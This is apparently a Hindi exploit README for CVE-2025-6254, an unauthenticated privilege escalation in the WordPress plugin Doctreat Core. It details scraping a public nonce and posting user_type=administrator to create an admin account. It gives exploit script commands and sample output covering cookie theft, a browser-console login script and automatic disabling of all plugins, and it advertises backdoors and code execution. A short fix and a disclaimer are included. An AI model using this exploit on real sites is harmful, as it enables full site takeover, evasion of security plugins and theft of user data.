
CVE-2025-6254 — Doctreat Core <= 1.6.8 — अनधिकृत विशेषाधिकार वृद्धि
वर्डप्रेस प्लगइन Doctreat Core संस्करण <= 1.6.8 एक अप्रमाणित विशेषाधिकार वृद्धि भेद्यता से ग्रस्त है। यह गंभीर खामी अप्रमाणित हमलावरों को प्लगइन के रजिस्ट्रेशन AJAX एंडपॉइंट के माध्यम से सीधे एक नया प्रशासक (Administrator) खाता बनाने की अनुमति देती है।
यह भेद्यता hooks/hooks.php में doctreat_process_registration() फ़ंक्शन से उत्पन्न होती है, जो user_type पैरामीटर को सीधे उपयोगकर्ता द्वारा प्रस्तुत POST डेटा से स्वीकार करता है और इसे उचित प्राधिकरण या अनुमतिसूची सत्यापन के बिना wp_update_user() को role पैरामीटर के रूप में पास करता है। प्लगइन केवल esc_sql() लागू करता है (जो भूमिकाओं को मान्य नहीं करता) — यह कभी जाँच नहीं करता कि भूमिका सार्वजनिक पंजीकरण के लिए सुरक्षित है या नहीं।
ब्रेकथ्रू खोज: Doctreat द्वारा उपयोग किया गया नॉन्स (scripts_vars.ajax_nonce) सक्रिय Doctreat थीम के किसी भी सार्वजनिक पृष्ठ पर उजागर होता है। user_type पैरामीटर, जो सामान्यतः नियंत्रित करता है कि उपयोगकर्ता "doctors", "hospitals" या "regular_users" के रूप में पंजीकरण करता है, को POST के माध्यम से user_type=administrator द्वारा ओवरराइड किया जा सकता है — और यह मान WordPress के role पैरामीटर के रूप में सीधे पास हो जाता है।
/wp-admin/admin-ajax.php?action=doctreat_process_registrationuser_type=administrator प्रस्तुत करता हैajax_nonce स्क्रैप करता है// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
'ID' => esc_sql( $user_identity ),
'role' => esc_sql( $user_type ), // ← user_type from $_POST via extract($_POST)
'user_status' => 0
) );
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );
नोट: डिफ़ॉल्ट सत्यापन सेटिंग्स वाले लक्ष्यों पर ($verify_user खाली या 'remove'), उपयोगकर्ता स्वचालित रूप से सत्यापित हो जाता है और तत्काल प्रशासक पहुँच प्राप्त करता है। ईमेल सत्यापन या व्यवस्थापक अनुमोदन सक्षम वाले लक्ष्यों के लिए अतिरिक्त सत्यापन चरणों की आवश्यकता होगी।
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080
python3 CVE-2025-6254_exploit.py target.com username password
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator
[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR
[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}
[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access
[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!
एक्सप्लॉइट चलाने के बाद, जनरेटेड JavaScript को कॉपी करें और अपने ब्राउज़र के DevTools Console (F12) में पेस्ट करें:
(function() {
'use strict';
console.log('[*] Starting WordPress admin access...');
// ... cookies set automatically ...
window.location.href = 'https://target.com/wp-admin/';
})();
requests लाइब्रेरी (pip install requests)// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
$user_type = 'regular_users'; // ← Reject ALL dangerous roles
}
current_user_can('create_users') क्षमता जाँच जोड़ेंwp_update_user() में पास करने से पहले user_type को मान्य करेंयह जानकारी केवल शैक्षिक और अधिकृत प्रवेश परीक्षण उद्देश्यों के लिए प्रदान की गई है। कंप्यूटर सिस्टम का अनधिकृत शोषण अवैध और अनैतिक है। किसी भी ऐसे लक्ष्य का परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जो आपके स्वामित्व में नहीं है।
| क्षमता | प्रभाव |
|---|
| 🔑 बिना लॉगिन के प्रशासक खाता बनाएँ | पूर्ण साइट अधिग्रहण (Full Site Takeover) |
| 🎛️ सभी सुरक्षा प्लगइन को ऑटो-निष्क्रिय करें | रक्षा चोरी (Defense Evasion) |
| 💉 प्लगइन/थीम PHP फ़ाइलें संपादित करें | रिमोट कोड निष्पादन (Remote Code Execution) |
| 🕳️ छिपे हुए बैकडोर स्थापित करें | स्थायी पहुँच (Persistent Access) |
| 👥 सभी उपयोगकर्ता डेटा देखें | गोपनीयता उल्लंघन (Privacy Violation) |